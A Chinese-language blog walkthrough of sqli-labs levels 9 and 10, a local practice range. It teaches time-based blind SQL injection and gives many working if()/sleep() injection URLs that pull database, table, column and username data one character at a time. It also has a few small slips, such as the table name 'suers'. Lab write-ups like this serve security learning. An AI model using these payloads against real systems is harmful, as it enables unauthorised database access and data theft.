sqli-labs靶场通关攻略(9-10关)

第九关(时间盲注 ' 闭合)

        因为这里页面不会给我们回显任何信息(无论是正确还是错误页面都是那样),所以这里我们需要使用时间盲注来进行注入,通过延时请求数据,观察请求的时间是否延长,如果延长了那么就可以使用时间盲注。这里会用 if  和 sleep 进行判断

if(布尔盲注语句, sleep(3),1)  // if 判断语句,当布尔盲注语句成立时执行sleep(3),否则执行1。

 同样我们先判断数据库长度 ,下面1两张图可以看到当数据库长>7的时候,页面开始延时请求访问,当数据库长度>8的时候,执行的是1,立刻请求访问到了,那么这里就说明我们的数据库长度大于7但是不大于8,所以得出我们的数据库长度为8

127.0.0.1/Less-9/?id=1' and if(length(database())>7, sleep(3),1) --+

得到数据库长度之后,我们就可以接着往下查他的数据库名了

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),1,1))>117,sleep(3),1) --+

下面两站图得到第一位字符ascii为115 对照ascii码表之后,S

接着查询第二个字符输入100,请求延时,输入110,请求无延时,说明在100-110之间

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>100,sleep(3),1) --+

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>110,sleep(3),1) --+

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>101,sleep(3),1) --+

输入101,无延迟,那么他第二位大于100成立,大于101不成立,所以为101对照ascii码表 E

后面第三位,第四位第五位等等同样是这样查询

第三位

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),3,1))>100,sleep(3),1) --+

 第四位

127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),4,1))>100,sleep(3),1) --+

得到数据库名security,我们就可以查表名了

查到第一表的首字母为101(E)

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>100,sleep(3),1) --+

第二张表首字母

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100,sleep(3),1) --+

第二张表第二位字母

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))>100,sleep(3),1) --+

得到所有表名后我们开始查users表的内容

第一个字段的内容

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+

第二位字母

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),2,1))>100,sleep(3),1) --+

第二个字段

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 1,1),1,1))>100,sleep(3),1) --+

当>104请求延时,>105请求无延时,第一个字母为105( i )最后判断第二位,得到id

直到我们查完所有内容(或者我们所需要的内容之后)

得到所以的内容后我们开始查 username  列的内容,以及其他列的内容

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>60,sleep(3),1) --+

第二位字符

127.0.0.1/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),2,1))>60,sleep(3),1) --+

后面也是同样的操作

第十关 ( " 闭合,时间盲注)

这一关和上一关的方法是一样的,只不过闭合方式从 ' 换成了 所以这一关我们就不给大家做那么详细了,大家如果遇到了问题可以详细参考第九关的详细教程

我们同样先查库名

?id=1" and if(ascii(substr((database()),1,1))>100,sleep(3),1) --+

查完库名之后我们开始查表名

?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+

查完所有表名之后我们开始查user表的列名

?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+

查完之后再根据列名查数据

?id=1" and if(ascii(substr((select username from suers limit 0,1),1,1))>60,sleep(3),1)

同样我们可以通过这语句查到其他列,password的数据。

  • 26
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值